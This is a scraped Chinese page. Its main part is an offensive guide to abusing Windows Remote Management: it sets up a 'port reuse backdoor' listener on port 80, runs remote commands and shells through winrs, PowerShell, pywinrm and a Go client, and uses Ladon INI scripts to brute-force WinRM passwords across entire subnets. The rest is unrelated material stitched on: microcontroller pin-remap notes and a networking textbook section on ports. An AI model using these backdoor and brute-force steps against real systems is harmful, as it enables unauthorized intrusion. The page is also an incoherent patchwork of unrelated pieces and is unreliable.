精华内容
下载资源
问答
  • 2020-05-30 16:00:56

    简介

    WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。

    Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。

    PS:WIN7或2008需要手动开户WINRM

    默认端口

    5985/tcp (HTTP)
    5986/tcp (HTTPS)

    端口复用后门

    对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
    通过下面的命令,可以新增WinRM一个80端口的监听。
    winrm set winrm/config/service @{EnableCompatibilityHttpListener=“true”}

    PS:该方法适用于有web的机器,不会开启新端口,也不需要EXE进程或DLL劫持。

    Winrs远程执行命令

    需要客户端启用Winrm,SYS权限受限制
    通过WinRM连接,并执行whoami命令
    winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami

    通过WinRM连接,并获得交互式的shell
    winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd

    PowerShell远程执行命令

    需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

    $ip="192.168.1.116"
    #$ip="192.168.1.20"
    Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force
    $securePassword = ConvertTo-SecureString -AsPlainText -Force 'k8gege520' 
    $cred = New-Object System.Management.Automation.PSCredential 'k8gege', $securePassword
    $cmd = {ls C:\users\public}
    Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd
    

    Pywinrm远程执行命令

    需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

    #C:\Users\null\Desktop\pywinrm>python test1.py
    #win-\k8gege
    import winrm
    s=winrm.Session('http://192.168.1.116',auth=('k8gege','k8gege520'))#2012 ok
    #s=winrm.Session('http://192.168.1.20',auth=('k8gege','k8gege520'))#win7 fail
    r=s.run_ps('dir')
    r=s.run_cmd('whoami') 
    print r.std_out 
    print  r.std_err
    

    Gowinrm远程执行命令

    Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制
    推荐使用版本,跨平台,任意权限,工具无需系统客外配置,也无需复杂安装。

    package main
    import (
      "github.com/masterzen/winrm"
      "fmt"
      "os"
      "strconv"
    )
    //Winrm Remote Shell by k8gege
    //http://k8gege.org/Ladon/WinrmScan.html
    #C:\Users\k8gege\Desktop\>winrmcmd.exe 192.168.1.116 5985 k8gege k8gege520 whoami
    #k8gege
    
    var help = func () {
        fmt.Println("Winrm Shell by k8gege")
        fmt.Println("====================================================")
        fmt.Println("winrmcmd host port user pass cmd")
    }
    
    func main() {
    
    	    args := os.Args
        if len(args) < 5 || args == nil {
    		help()
            return
        }
    	host := args[1]
    	port,err := strconv.Atoi(args[2])
    	user := args[3]
    	pass := args[4]
    	cmd := args[5]
    	
    	endpoint := winrm.NewEndpoint(host, port, false, false, nil, nil, nil, 0)
    	client, err := winrm.NewClient(endpoint, user, pass)
    	if err != nil {
    		panic(err)
    	}
    client.Run(cmd, os.Stdout, os.Stderr)
    }
    

    C#版远程执行命令

    有两种方法,一种WSMAN,一种DCOM,都有缺限,一个在WIN7环境运行提示无效程序(在2012系统才正常),另一个在WIN7开发环境正常在2012系统不能使用,再者需启用Winrm还一样受权限限制,还不如用系统自带命令好。

    调用winrm爆破

    由于C#使用WSMan来访问winrm均在各种问题,还不如系统自带命令winrs。
    当前机器为中文,目标为英文系统,连接提示编码问题,设置对应编码即可
    其它语言系统,返回不一定是437,具体自行根据需要修改INI脚本。

    WinrmScan.ini
    [Ladon]
    #Brute-Force WinRM
    exe=cmd.exe
    arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok""
    #exe=WinrmScan.exe
    #arg=$ip$ $user$ $pass$
    port=5985
    isok=isok
    log=true
    

    注意:INI脚本必须为ANSI编码,当前机器与目标必须启用WINRM,且放行5985端口
    后门:如果被别人添加了复用后门,也可以直接爆破80端口,把5985改成80即可。

    调用WinrmCmd爆破

    Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制

    [Ladon]
    #Brute-Force WinRM
    exe=winrmcmd.exe
    arg=$ip$ 5985 $user$ $pass$ "echo isok""
    #exe=WinrmScan.exe
    #arg=$ip$ $user$ $pass$
    isok=isok
    log=true
    

    SSH密码爆破/暴力破解

    配置密码爆破参数

    INI脚本仅支持标准的user.txt和pass.txt帐密破解

    user & pass /传统帐密

    user.txt
    k8gege
    root

    pass.txt
    toor
    k8gege520

    指定IP

    Ladon 192.168.1.8 WinrmScan.ini
    

    扫描C段

    Ladon 192.168.1.8/c WinrmScan.ini
    Ladon 192.168.1.8/24 WinrmScan.ini
    

    扫描B段

    Ladon 192.168.1.8/b WinrmScan.ini
    

    扫描A段

    Ladon 192.168.1.8/a WinrmScan.ini
    

    批量IP

    ip.txt
    192.168.1.8
    192.168.1.5
    192.168.1.109:48

    Ladon WinrmScan.ini
    

    批量C段

    ip24.txt
    192.168.1.
    10.1.5.

    Ladon WinrmScan.ini
    

    批量B段

    ip16.txt
    192.168.
    10.1.

    Ladon  WinrmScan.ini
    

    如图,通过5985端口扫描1.20机器登陆口令
    image

    工具下载

    最新版本:https://k8gege.org/Download
    历史版本: https://github.com/k8gege/Ladon/releases
    WinrmCmd: https://github.com/k8gege/WinrmCmd

    更多相关内容
  • 端口复用NAT配置.doc

    2020-02-17 10:25:59
    共享上网是生活和工作中必备技术,那么遇到的网络地址端口转换该怎么配置呢?不要急!跟我来! NAT:英文全称Network Address Translation,中文名字网络地址转换。这是我们平时公司、家庭上网的时候基本都会用到一...
  • 了解STM32的端口复用功能

    千次阅读 2020-07-19 10:49:40
    了解STM32的端口复用功能外设的GPIO配置库函数配置复用IO口代码总结 外设的GPIO配置 PA9、PA10引脚除了作为普通IO口使用,还可以用做串口1的输入输出使用 要使用IO口的复用功能就需要配置该IO口,这里我们拿 Usart1...

    外设的GPIO配置

    PA9、PA10引脚除了作为普通IO口使用,还可以用做串口1的输入输出使用
    在这里插入图片描述

    要使用IO口的复用功能就需要配置该IO口,这里我们拿 Usart1 举例:
    在这里插入图片描述
    从表格中可以看出,我们要配置全双工的串口 1,那么 TX 管脚需要配置为推挽复用输出,
    RX 管脚配置为浮空输入或者带上拉输入。

    库函数配置复用IO口代码

    这里我们以 Usart1 举例:

    //GPIO 端口时钟使能。
    RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);
    //复用的外设时钟使能。
    RCC_APB2PeriphClockCmd(RCC_APB2Periph_USART1, ENABLE);
    
    //USART1_TX PA.9 复用推挽输出
    GPIO_InitStructure.GPIO_Pin = GPIO_Pin_9; //PA.9
    GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
    GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; //复用推挽输出
    GPIO_Init(GPIOA, &GPIO_InitStructure);
    //USART1_RX PA.10 浮空输入
    GPIO_InitStructure.GPIO_Pin = GPIO_Pin_10;//PA10
    GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING;//浮空输入
    GPIO_Init(GPIOA, &GPIO_InitStructure); 
    

    总结

    我们在使用复用功能的是时候,最少要使能 2 个时钟:
    1) GPIO 时钟使能
    2) 复用的外设时钟使能
    3)同时要初始化 GPIO 以及复用外设功能

    展开全文
  • 单片机型号 STM8S103F TSSOP...上图是复用功能地址,具体复用功能根据实际要求参考英文数据手册配置 备注:英文数据手册和中文数据手册单片机管脚图及复用功能介绍有所不同,使用数据手册时最好从官网下载最新的

    单片机型号  STM8S103F   TSSOP  20脚

    void Write_Option_Byte(void)
    {   
        /*解锁Flash*/
        do
        {
                FLASH->DUKR = 0xAE;
                FLASH->DUKR = 0x56;      
        }
        while(!(FLASH->IAPSR & 0X08));
        /*对选项字节进行写操作使能*/
        FLASH->CR2 = 0X80;
        /*互补控制寄存器*/
        FLASH->NCR2 = 0X7F;
        /*写操作,0x02:PD2*/
        *((unsigned char *)0x4803) = 0x02;
        *((unsigned char *)0x4804) = ~0x02; 
        /*等待写结束*/
        while(!(FLASH->IAPSR & 0x04));
    }

    解锁FLASH的步骤根据数据手册设置

    解锁完成后复用想要的功能

    以上程序复用的是PWM功能若要复用其他功能请参考以下数据手册内容

     

    上图是复用功能地址,具体复用功能根据实际要求参考英文数据手册配置

    备注:英文数据手册和中文数据手册单片机管脚图及复用功能介绍有所不同,使用数据手册时最好从官网下载最新的

    展开全文
  • 运输层端口复用与分用的概念 1. 运输层概述   ■ 之前的计算机网络体系结构中的物理层、数据链路层以及网络层它们共同解决了将主机通过异构网络互联起来所面临的问题,实现了主机到主机的通信。   ■ 但实际...

    计算机网络系列内容的学习目录 → \rightarrow 谢希仁计算机网络学习系列内容汇总

    1. 运输层概述

      ■ 之前的计算机网络体系结构中的物理层、数据链路层以及网络层它们共同解决了将主机通过异构网络互联起来所面临的问题,实现了主机到主机的通信
      ■ 但实际上在计算机网络中进行通信的真正实体是位于通信两端主机中的进程
      ■ 如何为运行在不同主机上的应用进程提供直接的通信服务是运输层的任务,运输层协议又称为端到端协议。

    在这里插入图片描述
       下图从计算机网络体系结构的角度来看运输层。AP1、AP2、AP3、AP4是通信双方应用层中的应用进程,假设AP1与AP4之间进行基于网络的通信,AP2与AP3之间进行基于网络的通信。在运输层使用不同的端口来对应不同的应用进程,然后通过网络层及其下层来传输应用层报文。接收方的运输层通过不同的端囗将收到的应用层报文交付给应用层中相应的应用进程。需要注意的是,这里的端口并不是指看得见摸得着的物理端口,而是指用来区分不同应用进程的标识符。为了简单起见,在学习和研究运输层时,我们可以简单的认为运输层直接为应用进程间的逻辑通信提供服务。“逻辑通信”的意思是,运输层之间的通信好像是沿水平方向传送数据,但事实上这两个运输层之间并没有一条水平方向的物理连接,要传送的数据是沿着图中上下多次的虚线方向传送的。

    在这里插入图片描述
       运输层向高层用户屏蔽了下面网络核心的细节(如网络拓扑、所采用的路由选择协议等),它使应用层看见的就好像是在两个运输层实体之间有一条端到端的逻辑通信信道。
       根据应用需求的不同,因特网的运输层为应用层提供了两种不同的运输层协议,即面向连接的TCP无连接的UDP

    1.1 课后练习

       1. 运输层为( B )之间提供逻辑通信服务。
        A. 主机   B. 进程   C. 路由器   D. 操作系统
        分析: 运输层为进程之间提供逻辑通信服务。

       2. 在TCP/IP体系结构中,运输层的主要作用是在互联网络的源主机和目的主机对等实体之间建立用于会话的( C )
        A. 点到点连接   B. 操作连接   C. 端到端连接   D. 控制连接
        分析: 在TCP/IP体系结构中,运输层的主要作用是在互联网络的源主机和目的主机对等实体之间建立用于会话的端到端连接。

    2. 运输层端口、复用与分用的概念

      ■ 运行在计算机上的进程使用进程标识符PID来标志。
      ■ 因特网上的计算机并不是使用统一的操作系统,不同的操作系统(windows,Linux,Mac oS)又使用不同格式的进程标识符。
      ■ 为了使运行不同操作系统的计算机的应用进程之间能够进行网络通信,就必须使用统一的方法对TCP/IP体系的应用进程进行标识
      ■ TCP/IP体系的运输层使用端口号来区分应用层的不同应用进程。
        ⋄ \diamond 端口号使用16比特表示,取值范围0~65535;
         ∘ \circ 熟知端口号:0~1023,因特网数字分配机构IANA把这些端口号指派给了TCP/IP体系中最重要的一些应用协议,例如:FTP使用21/20,HTTP使用80,DNS使用53。
         ∘ \circ 登记端口号: 1024~49151,为没有熟知端口号的应用程序使用。使用这类端口号必须在IANA按照规定的手续登记,以防止重复。例如:Microsoft RDP微软远程桌面使用的端口是3389。
         ∘ \circ 短暂端口号: 49152~65535,留给客户进程选择暂时使用。当服务器进程收到客户进程的报文时,就知道了客户进程所使用的动态端口号。通信结束后,这个端口号可供其他客户进程以后使用。
        ⋄ \diamond 端口号只具有本地意义,即端口号只是为了标识本计算机应用层中的各进程,在因特网中,不同计算机中的相同端口号是没有联系的
      ■ 发送方的复用和接收方的分用
       如下图所示,对于收发双方的应用进程,发送方的某些应用进程所发送的不同应用报文,在运输层使用UDP协议进行封装,称为UDP复用。而另一些应用进程所发送的不同应用报文,在运输层使用TCP协议进行封装,称为TCP复用
       运输层使用端口号来区分不同的应用进程,不管是使用运输层的UDP协议封装成的UDP用户数据报,还是使用TCP协议封装成的TCP报文段,在网络层都需要使用IP协议封装成IP数据报,称为IP复用
       IP数据报首部中协议字段的值用来表明IP数据报的数据载荷部分封装的是何种协议数据单元,取值为6,表示封装的是TCP报文段;取值为17,表示封装的是UDP用户数据报。接收方的网络层收到IP数据报后进行IP分用,若IP数据报首部中协议字段的值为17,则把IP数据报的数据载荷部分所封装的UDP用户数据报上交运输层的UDP;若协议字段的值为6,则把IP数据报的数据载荷部分所封装的TCP报文段上交运输层的TCP。
       运输层对UDP用户数据报进行UDP分用,对TCP报文段进行TCP分用,也就是根据端口号将它们交付给上层相应的应用进程。

    在这里插入图片描述
      ■ TCP/IP体系的应用层常用协议所使用的运输层熟知端口号

    在这里插入图片描述

    2.1 课后练习

      1. 在TCP/IP中,采用( A )来区分不同的应用进程。
        A. 端口号  B. IP地址  C. 协议类型   D. MAC地址
       分析: 在TCP/IP中,采用端口号来区分不同的应用进程。

      2. 在TCP/IP网络中,为各种熟知应用保留的端口号范围是( B)
        A. 1~255  B. 0~1023  C. 1~1024   D. 1~65535
       分析: 熟知端口号:0~1023,因特网数字分配机构IANA把这些端口号指派给了TCP/IP体系中最重要的一些应用协议。

      3. 在TCP/IP中,运输层端口号的范围是( D)
        A. 1~255  B. 0~1023  C. 1~1024   D. 1~65535
       分析: TCP/IP体系的运输层使用端口号来区分应用层的不同应用进程,端口号使用16比特表示,取值范围0~65535。

    3. UDP和TCP的对比

      ■ UDP和TCP是TCP/IP体系结构运输层中的两个重要协议
       下图所示的是TCP/IP体系结构,运输层有两个非常重要的协议UDP和TCP。在使用TCP/IP体系结构的网络通信中,这两个协议的使用频率仅次于网际层的IP协议。TCP/IP体系结构应用层中的某些协议需要使用运输层的TCP提供的服务,而另一些协议需要使用运输层的UDP提供的服务,UDP是用户数据报协议的英文缩写词,TCP是传输控制协议的英文缩写词。

    在这里插入图片描述
      下表给出了一些应用和应用层协议主要使用的运输层协议(UDP或TCP)。

    使用UDP和TCP协议的各种应用和应用层协议

    在这里插入图片描述
      接下来从几个方面对这两个协议进行比较。

    • 对比1: 如下图所示,左边是因特网上的两台主机,它们在运输层使用UDP协议进行通信,纵坐标为时间,使用UDP协议的通信双方可以随时发送数据。
            右边是使用TCP协议的情况,使用TCP协议的通信双方在进行数据传输之前,必须使用“三报文握手”来建立TCP连接,TCP连接建立成功后才能进行数据传输。数据传输结束后,必须使用“四报文挥手”来释放TCP连接。“三报文握手”和“四报文挥手”属于TCP的连接管理,其过程比较复杂。需要注意的是,这里所谓的连接是指逻辑连接关系,而不是物理连接。综上所述,UDP是无连接的,而TCP是面向连接的。

      在这里插入图片描述
    • 对比2: 如下图所示,左边是某个局域网上的、使用UDP协议进行通信的四台主机。其中任何一台主机都可向其他三台主机发送广播,也可以向某个多波组发送多波,还可以向某台主机发送单波,也就是说UDP支持单播、多播以及广播。换句话说,UDP支持一对一、一对多以及一对全的通信。
            右边是使用TCP协议的情况,使用TCP协议的通信双方在进行数据传输之前,必须使用“三报文握手”来建立TCP连接,TCP连接建立成功后通信双方之间就好像有一条可靠的通信信道。通信双方使用这条基于TCP连接的可靠信道进行通信。很显然,TCP仅支持单播,也就是一对一的通信。

      在这里插入图片描述
    • 对比3: 接下来对比这两个协议对应用报文的处理。如下图所示,左边是使用UDP协议的情况,发送方的应用进程将应用层报文交付给运输层的UDP。UDP直接给应用层报文添加一个UDP首部,使之成为UDP用户数据报,然后进行发送。需要说明的是,为了简单起见,我们忽略运输层下面的各层处理。接收方的UDP收到该UDP用户数据报后,去掉UDP首部,将应用层报文交付给应用进程,也就是说UDP对应用进程交下来的报文既不合并也不拆分,而是保留这些报文的边界。换句话说,UDP是面向应用报文的。
            右边是使用TCP协议的情况,发送方的TCP把应用进程交付下来的数据块仅仅看作是一连串的、无结构的字节流。TCP并不知道这些待传送的字节流的含义,仅将它们编号并存储在自己的发送缓存中。TCP根据发送策略,从发送缓存中提取一定数量的字节,构建TCP报文段并发送。接收方的TCP一方面从所接收到的TCP报文段中取出数据载荷部分并存储在接收缓存中,一方面将接收缓存中的一些字节交付给应用进程。TCP不保证接收方应用进程所收到的数据块与发送方应用进程所发出的数据块具有对应大小的关系,例如发送方应用进程交给发送方的TCP共10个数据块,但接收方的TCP可能只用了4个数据块就把收到的字节流交付给了上层的应用进程,但接收方应用进程收到的字节流必须和发送方应用进程发出的字节流完全一样。当然,接收方的应用进程必须有能力识别收到的字节流,把它还原成有意义的应用层数据,也就是说TCP是面向字节流的。这正是TCP实现可靠传输流量控制以及拥塞控制的基础。

      在这里插入图片描述
    • 对比4: 如下图所示,左边是使用UDP协议的情况。TCP/IP体系结构的网际层向其上层提供的是无连接不可靠的传输服务。当运输层使用UDP协议时,向其上层提供的也是无连接不可靠的传输服务。发送方给接收方发送UDP用户数据报,若传输过程中,用户数据报受到干扰而产生误码,接收方UDP可以通过该数据报首部中的校验和字段的值,检查出产生误码的情况,但仅仅丢弃该数据报,其他什么也不做。发送方给接收方发送UDP用户数据报,如果该数据报被因特网中的某个路由器丢弃了,发送方UDP不做任何处理。因为UDP向上层提供的是无连接不可靠的传输服务,因此对于UDP用户数据报出现的误码和丢失等问题,UDP并不关心。基于UDP的这个特点,UDP适用于实时应用,例如IP电话视频会议等。
            右边是使用TCP协议的情况,尽管网际层中的IP协议向上层提供的是无连接不可靠的传输服务,也就是说IP数据报可能在传输过程中出现丢失或误码,但只要运输层使用TCP协议就可向其上层提供面向连接的可靠传输服务。我们可将其想象成,使用TCP协议的收发双方基于TCP连接的可靠信道进行数据传输,不会出现误码、丢失、乱序以及重复等传输差错。TCP适用于要求可靠传输的应用,例如文件传输。

      在这里插入图片描述
    • 对比5: 最后对比一下UDP用户数据报的首部与TCP报文段的首部。如下图所示,左边是使用UDP协议的情况,一个UDP用户数据报由首部和数据载荷两部分构成。其首部格式如图所示,仅有4个字段,每个字段长度为2个字节。由于UDP不提供可靠传输服务,它仅仅在网际层的基础上添加了用于区分应用进程的端口,因此它的首部非常简单,仅有8个字节。
            右边是使用TCP协议的情况,一个TCP报文段由首部和数据载荷两部分构成。其首部格式如图所示,比UDP用户数据报的首部复杂的多,且最小长度为20字节,最大长度为60字节。这是因为TCP要实现可靠传输、流量控制拥塞控制等服务,其首部自然会比较复杂,首部中的字段比较多,首部长度也比较长。

      在这里插入图片描述

    3.1 总结

    在这里插入图片描述

    3.2 课后练习

      1. 以下字段包含在TCP首部中而不包含在UDP首部中的是( B )
        A. 目标端口号  B. 序号   C. 源端口号   D. 校验和
       分析: 以下字段包含在TCP首部中而不包含在UDP首部中的是序号。

      2. 若接收端收到有差错的UDP用户数据报,则会( A )
        A. 将其丢弃  B. 请求重传   C. 纠错   D. 忽略差错
       分析: 若接收端收到有差错的UDP用户数据报,则会将其丢弃。
           当运输层使用UDP协议时,向其上层提供的是无连接不可靠的传输服务。发送方给接收方发送UDP用户数据报,若传输过程中,用户数据报受到干扰而产生误码,接收方UDP可以通过该数据报首部中的校验和字段的值,检查出产生误码的情况,但仅仅丢弃该数据报,其他什么也不做。

      3. UDP用户数据报比IP数据报多提供了( C )
        A. 流量控制功能  B. 拥塞控制功能   C. 端口功能   D. 路由转发功能
       分析: UDP用户数据报比IP数据报多提供了端口功能。

      4. 下列不属于TCP特点的是( D )
        A. 面向字节流  B. 全双工   C. 可靠   D. 支持广播
       分析: TCP特点:面向字节流、全双工、可靠。

    展开全文
  • Python网络编程基础之ip地址,端口号,TCP,socket
  • MYSQL数据库端口

    2021-02-02 15:09:20
    好文网为大家准备了关于MYSQL数据库端口号的文章,好文网里面收集了五十多篇关于好MYSQL数据库端口号好文,希望可以帮助大家。更多关于MYSQL数据库端口号内容请关注好文网。ctrl+D请收藏!mysql数据库端口号篇一:关于m...
  • 该拦截器的内部实现非常的复杂,涉及到OkHttp许多的机制,例如路由选择机制、连接的建立与复用机制,我们在下面的分析中,先对其大体流程进行分析,然后再一个一个点地深入分析,逐个突破。 ConnectInterceptor::...
  • 端口

    千次阅读 2017-06-19 18:19:08
    一、端口是什么“端口”是英文port的意译,可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口,其中虚拟端口指计算机内部或交换机路由器内的端口,不可见。例如计算机中的80端口、21端口、23端口等...
  • 端口复用和重映射

    2021-08-07 00:13:14
    什么是端口复用? STM32有很多的内置外设,这些外设的外部引脚都是与GPIO复用的。也就是说,一个GPIO如果可以复用为内置外设的功能引脚,那么当这个GPIO作为内置外设使用的时候,就叫做复用。 例如: 串口1的发送接收...
  • 华为交换机端口镜像配置

    千次阅读 2020-03-14 13:42:00
    端口镜像是指设备复制一份从镜像端口流经的报文,并将此报文传送到指定的观察端口进行分析和监控。 配置 配置分为大概以下三种1:1端口镜像,1:N端口镜像,N:1端口镜像 配置1:1端口镜像 一个镜像端口的报文复制到一...
  • 千兆端口默认是光纤介质。第一次使用如果不清楚接上双绞线会发现指示灯不亮。 解决: 光电复用接口切换命令: [H3C-GigabitEthernet1/0/25]combo enable copper (开启电口) [H3C-GigabitEthernet1/0/25]...
  • 何谓“复用”?就是一个信道一起给多个接口用。 例子就是,之前A用一根吸管喝水,B用同一根吸管喝水,现在我“复用”某吸管,A和B共用一个吸管。 显然在书中我们学到了有三种技术:频分复用(FDM)、时分复用...
  • IO 多路复用是什么意思?

    千次阅读 2019-01-03 00:36:26
    1 IO 多路复用是什么意思? - 罗志宇的回答 - 知乎 https://www.zhihu.com/question/32163005/answer/55772739 这个还是很好说清楚的。 假设你是一个机场的空管, 你需要管理到你机场的所有的航线, 包括进港,...
  • Delphi下端口复用的实现

    千次阅读 2007-12-05 16:43:00
    其实端口复用听起来很深奥的技术,其实很简单,简单得只需要一个函数就可以实现: setsockopt( SOCKET s, int level, int optname, const char FAR *optval, int optlen ); 参数: s Socket 的...
  • NIO多路复用底层实现原理

    千次阅读 2020-03-16 23:50:30
    异步I/O(Aio) 异步io也就是发出请求数据之后,剩下的事情完全实现异步完成 Nio与Bio的核心区别 什么是NIO Java的nio是在Jdk1.4版本之后推出了一套新的io方案,这种io方案对原有io做了一次性能上的升级 NIO翻译成英文 ...
  • 【开箱】 ▲全英文的包装界面 ▲GS108E是一款8口全千兆的简单网管交换机,158*105*27mm的体积哪怕是最小的弱电箱也能放得进去。最大功耗仅4瓦,非常省电。 ▲打开包装后配件也是很简单 ▲全金属的磨砂外壳,一股...
  • 062:NIO多路IO复用底层实现原理1 IO多路复用课程原理介绍2 什么是Bio阻塞式io3 使用多线程实现伪异步io优缺点4 NIO模式核心设计技术思想5 Scoekt技术实现非阻塞式的IO操作6 Nio技术多路IO复用底层实现原理7 Java...
  • stm32 复用时钟开启情况

    千次阅读 2015-03-12 09:23:52
    答:AFIO全称:Alternatefunction I/O alternate备用的、替代的、交替的,所以AFIO可翻译为“备用功能I/O”,原英文手册上解释很清楚:[《STM32英文手册》P152] To optimize the number of peripheralsavailable...
  • 设置端口复用的代码如下: # 参数1: 表示当前套接字 # 参数2: 设置端口复用选项 # 参数3: 设置端口复用选项对应的值 tcp_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)
  • 主要对IO多路复用,Ractor模型以及Java NIO对其的支持。
  • 因以太网交换机的速率和功能等各不相同,以太网交换机端口类型也有所不同。本文将从传输速率、功能以及网络体系结构三个方面,为您简单介绍一些常见的以太网交换机端口类型,帮助您更好地了解它们之间的差异性,为...
  • IP地址是指互联网协议地址(英语:Internet Protocol Address,又译为网际协议地址),是IP Address的缩写。IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此...
  • 利用光猫和交换机,通过划分VLAN实现客厅IPTV与路由器单线复用
  • H3C交换机光电复用口如何启用

    万次阅读 2020-12-22 16:31:49
    光电复用口也是就combo口,为什么用英文combo来替代呢?因为combo在英语中意思:combo英[ˈkɒmbəʊ]小型爵士乐队,小型伴舞乐队; 套餐,如色拉、三明治、饮料等的组合食物混合物;杂烩(尤其指的是食物)在这交换机...
  • 一个例子 假定你正坐在计算机前下载 Web 页面,同时还在运行一个 FTP 会话。...当计算机的传输层从底层的网络层...Multiplexing 多路复用 从源主机的不同套接字中收集数据块,并为每个数据块封装上首部信息(这将在多路分
  • 62.NIO多路io复用

    2019-10-27 15:50:33
    nio 英文: no blocking io 非阻塞 核心:面向缓存区 基于通道实现非阻塞式io 多路io复用实现(靠选择器实现) 5.bio与nio区别: bio: 阻塞式io 面向流传输 根据字节传输 效率很低 nio: 阻塞式io 面向缓存...
  • 1、IO复用函数的一些记录。 2、文件描述符的计数。 3、关于Reactor模型的一些记录。 4、Reactor模型的应用场景举例。
  • (Maximum Segment Lifetime英文的缩写,中文可以译为“报文最大生存时间”) 了解了以上原因,那总结下来原因是: 1、连接请求量过大 2、TIME_WAIT时间太长(4分钟),导致端口不能及时被释放 3、端口占用过多,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 11,711
精华内容 4,684
关键字:

复用端口英文